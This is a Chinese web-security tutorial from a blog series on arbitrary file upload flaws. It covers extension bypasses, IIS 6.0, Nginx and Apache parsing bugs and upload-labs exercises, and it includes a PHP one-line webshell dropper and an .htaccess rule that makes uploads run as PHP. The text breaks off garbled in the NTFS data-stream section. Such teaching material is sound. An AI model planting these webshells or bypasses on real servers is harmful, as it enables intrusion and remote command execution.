[红日安全]Web安全Day5 - 任意文件上传实战攻防

本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

  1. 文件上传漏洞
    1.1 漏洞简介
    ​ 文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。

1.2 漏洞原理
​ 网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。

1.3 漏洞危害
​ 恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等。

  1. 上传点和绕过形式
    2.1 文件上传常见点
    上传头像
    上传相册
    上传附件
    添加文章图片
    前台留言资料上传
    编辑器文件上传

    例如如下编辑器上传点:

文件管理处文件上传:

前台用户发表文章处文件上传:

个人头像处文件上传:

2.2 后缀绕过
PHP:
php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf
2.3 绕过类型
Content-Type绕过
前端绕过
文件解析规则绕过
Windows环境特性绕过
文件名大小写绕过
双写绕过
点空格绕过
文件头绕过
条件竞争绕过

在以下的文章介绍中,将采取其中的几种常见的绕过形式做演示。

  1. 漏洞在系统中的差异
    ​ 上传文件漏洞在不同的系统、架构以及行为中,利用形式也是各不相同。常用的web容器有IIS、Tomcat、Nginx、Apache等。以下主要以比较经典的解析漏洞做解释。

3.1 IIS 5.x/6.0解析漏洞
1、当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件。例如如下:
漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg。
xx.jpg的内容可以为一段合法的asp脚本文件。

2、服务器默认不解析”;“以后的内容,导致xx.asp;.jpg被解析成xx.asp
漏洞文件利用形式:www.xxx.com/xx.asp;.jpg
xx.jpg的内容可以为一段合法的asp脚本文件。
漏洞产生的原因参考详细文章内容:https://www.cnblogs.com/l1pe1/p/9210094.html

通过对IIS6的核心文件类型解析相关文件的逆向后,整理出下面的核心处理代码。
//reverse code by golds7n with ida
int __thiscall Url(void *this, char *UrlStruct)
{
void *pW3_URL_INFO; // esi@1
int bSuccess; // eax@1
const wchar_t *i; // eax@2
wchar_t *wcsSlashTemp; // ebx@6
int wcsTemp; // eax@6
int wcs_Exten; // eax@6
int v8; // esi@9
int v10; // eax@11
int v11; // ST04_4@13
int v12; // eax@13
int ExtenDll; // eax@19
int Extenisa; // eax@20
int ExtenExe; // eax@21
int ExtenCgi; // eax@22
int ExtenCom; // eax@23
int ExtenMap; // eax@24
int Entry; // [sp+Ch] [bp-148h]@6
wchar_t *wcsMaohaoTemp; // [sp+10h] [bp-144h]@6
unsigned int dotCount; // [sp+14h] [bp-140h]@1
wchar_t *Str; // [sp+18h] [bp-13Ch]@3
char *url_FileName; // [sp+1Ch] [bp-138h]@1
char Url_FileExtenName; // [sp+20h] [bp-134h]@1
char v25; // [sp+50h] [bp-104h]@1

dotCount = 0;
pW3_URL_INFO = this;
STRU::STRU(&Url_FileExtenName, &v25, 0x100u);
url_FileName = (char *)pW3_URL_INFO + 228;
bSuccess = STRU::Copy((char *)pW3_URL_INFO + 228, UrlStruct);
if ( bSuccess < 0 )
goto SubEnd;
for ( i = (const wchar_t )STRU::QueryStr((char )pW3_URL_INFO + 228); ; i = Str + 1 )
{
Str = _wcschr(i, ‘.’); N1

if ( !Str )
break;
++dotCount;
if ( dotCount > W3_URL_INFO::sm_cMaxDots )
break;
bSuccess = STRU::Copy(&Url_FileExtenName, Str);
if ( bSuccess < 0 )
goto SubEnd;
wcsSlashTemp = _wcschr(Str, ‘/’); N2

JUMPOUT(wcsSlashTemp, 0, loc_5A63FD37);
wcsTemp = STRU::QueryStr(&Url_FileExtenName);
wcsMaohaoTemp = _wcschr((const wchar_t )wcsTemp, ‘:’); N3
JUMPOUT(wcsMaohaoTemp, 0, loc_5A63FD51);
wcs_Exten = STRU::QueryStr(&Url_FileExtenName);
__wcslwr((wchar_t *)wcs_Exten);
if ( META_SCRIPT_MAP::FindEntry(&Url_FileExtenName, &Entry) )
{
*((_DWORD *)pW3_URL_INFO + 201) = Entry;
JUMPOUT(wcsSlashTemp, 0, loc_5A63FDAD);
STRU::Reset((char *)pW3_URL_INFO + 404);
break;
}
if ( STRU::QueryCCH(&Url_FileExtenName) == 4 )
{
ExtenDll = STRU::QueryStr(&Url_FileExtenName);
if ( !_wcscmp(L".dll", (const wchar_t *)ExtenDll)
|| (Extenisa = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".isa", (const wchar_t *)Extenisa)) )
JUMPOUT(loc_5A63FD89);
ExtenExe = STRU::QueryStr(&Url_FileExtenName);
if ( !_wcscmp(L".exe", (const wchar_t *)ExtenExe)
|| (ExtenCgi = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".cgi", (const wchar_t *)ExtenCgi))
|| (ExtenCom = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".com", (const wchar_t *)ExtenCom)) )
JUMPOUT(loc_5A63FD89);
ExtenMap = STRU::QueryStr(&Url_FileExtenName);
JUMPOUT(_wcscmp(L".map", (const wchar_t *)ExtenMap), 0, loc_5A63FD7B);
}
}
if ( *((_DWORD *)pW3_URL_INFO + 201)
|| (v10 = *((_DWORD *)pW3_URL_INFO + 202), v10 == 3)
|| v10 == 2
|| (v11 = *(_DWORD )(((_DWORD *)pW3_URL_INFO + 204) + 0xC4C),
v12 = STRU::QueryStr(url_FileName),
bSuccess = SelectMimeMappingForFileExt(v12, v11, (char *)pW3_URL_INFO + 756, (char *)pW3_URL_INFO + 1012),
bSuccess >= 0) )
v8 = 0;
else
SubEnd:
v8 = bSuccess;
STRU::_STRU(&Url_FileExtenName);
return v8;
}
以上有三处被标记的位置,这三处是用来检测点号、反斜杠、分号。、

可以理解为的检测流程为:

www.xxx.com/xxx.asp;xxx.jpg
N1:从头部查找查找".“号,获得”.asp;xxxx.jpg"
N2:查找";“号,如果有则内存截断
N3:查找”/",如果有则内存截断
因此,.asp将最终被保存下来,IIS6只简单地根据扩展名来识别,所以从脚本映射表中里查找脚本与扩展名对比,并利用asp.dll来解析。导致最终的问题产生。

对于此问题,微软并不认为这是一个漏洞,同样也没推出IIS6.0解析漏洞的补丁。因此在IIS6.0的网站下,此问题仍然可以尝试是否存在。

3.2 Nginx 解析漏洞
​ Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点开发的。

​ 在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。为什么是由于PHP-CGI的原因呢,因为在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的,当URL中有不存在的文件时,PHP就会默认向前解析。

​ 普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。访问 ”www.xx.com/phpinfo.jpg/1.php” 这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP-CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

​ 在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。同样利用phpstudy说明,上传1.jpg格式的文件,内容为访问phpinfo,如下即可触发:

3.3 Apache 解析漏洞
​ Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

​ Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

www.xxxx.com/apache.php.bbb.aaa
Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。

​ 那么为什么会产生此问题原因,在Apache的官方网站上,有一句这么关于“extension”的解释:

地址:http://httpd.apache.org/docs/current/mod/directive-dict.html

extension
In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.

​ 通过这个解释可以看出来,Apache允许文件有多个后缀名,并会按照第一个点来分析文件后缀,例如file.html.en。Apache按照每个点来分割后缀名,因此此文件名为.html、.en。由于en后缀不被识别,便继续向前解析。

​ 另外对于Apache解析漏洞的正确说法应该是,使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。而是否解析的后缀名在文件mime.types中查找是否出现。

​ 此处使用phpstudy测试,利用dvwa的文件上传功能,上传1.php.wwe。结果解析如下:

  1. 测试
    以下采用手工测试和工具测试两种方法来进行文件上传测试。

4.1 手工测试
对于文件上传漏洞方式和举例此处采用一个文件靶场,地址:https://github.com/c0ny1/upload-labs

以下将利用靶场其中的一部分内容来举例说明文件上传漏洞的产生和效果。

环境:Ubuntu 18、Windows phpStudy (采用不一样的系统,为了在不同系统的差异做演示)

WEB容器:Apache 2.0

语言:PHP

抓包工具:Burp Suite Pro

验证工具:Hackbar插件

4.1.1 前端验证
此种验证形式在很多网站、CMS都有使用,只在前端利用JS来做效验,采用禁用JS上传、抓包上传都可以绕过此处限制。此处采用抓包演示。

点击上传文件,选择已经改成“.jpg”后缀的后门文件。修改burp中的文件后缀信息。

访问已经上传的文件,利用Hackbar访问phpinfo()。可以看到后门已经得到执行。

4.1.2 .htaccess规则文件绕过
​ 在利用.htaccess文件之前,我们先来了解一下什么是.htaccess规则文件。.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

​ 概述来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

​ 在一些启用了.htaccess文件的网站上就可以使用此文件类型来绕过限制较全面的黑名单过滤。

​ 先上传一个.htaccess文件,内容为:AddType application/x-httpd-php .aaa。如下:

​ 然后再上传文件后缀为.aaa的文件,让其解析为php类型文件。

​ 上传成功后访问此上传文件,访问如下:

4.1.3 文件名后缀大小写混合绕过
​ 在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。如下形式:

​ 访问上传成功的文件:

4.1.4 Windows文件流特性绕过
​ 在讨论这种特性之前,我们先来认识一下Windows文件流。流文件,即NTFS交换数据流(alternate data streams,简称ADS),是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中,它使用资源派生来维持与文件相关的信息。创建一个数据交换流文件的方法很简单,命令为“宿主文件:准备与宿主文件关联的数据流文件”。

​ 详细相关介绍和内容可以查看文章:https://www.freebuf.com/column/143101.html。此处不做深入解释。

上传文件为xxx.php:: D A T A 类 型 的 文 件 。 可 以 看 到 上 传 的 文 件 为 x x x . p h p : : DATA类型的文件。可以看到上传的文件为xxx.php:: DATAxxx.ph

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值